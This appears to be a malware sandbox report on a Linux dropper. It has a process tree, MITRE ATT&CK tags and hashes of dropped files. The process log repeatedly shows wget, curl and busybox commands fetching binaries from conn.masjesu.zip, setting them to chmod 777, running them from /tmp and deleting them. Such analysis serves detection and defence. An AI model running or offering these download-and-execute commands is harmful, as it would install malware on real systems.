- /tmp/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  ./RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  PID:973
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  PID:977
- /bin/chmod
  chmod 777 gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  ./gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  PID:980
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - System Network Configuration Discovery
  PID:981
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - System Network Configuration Discovery
  PID:984
- /bin/chmod
  chmod 777 PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - File and Directory Permissions Modification
  PID:985
- /tmp/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  ./PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - Executes dropped EXE
  PID:986
- /bin/rm
  rm PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  ./Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - System Network Configuration Discovery
  PID:999
- /bin/chmod
  chmod 777 BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  ./BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  PID:1003
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  PID:1004
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1005
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/chmod
  chmod 777 QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - File and Directory Permissions Modification
  PID:1008
- /tmp/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  ./QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - Executes dropped EXE
  PID:1009
- /bin/rm
  rm QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  PID:1010
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - System Network Configuration Discovery
  PID:1011
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1012
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  PID:1014
- /bin/chmod
  chmod 777 6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - File and Directory Permissions Modification
  PID:1015
- /tmp/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  ./6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - Executes dropped EXE
  PID:1016
- /bin/rm
  rm 6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  PID:1017

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru

Path /tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ

Path /tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512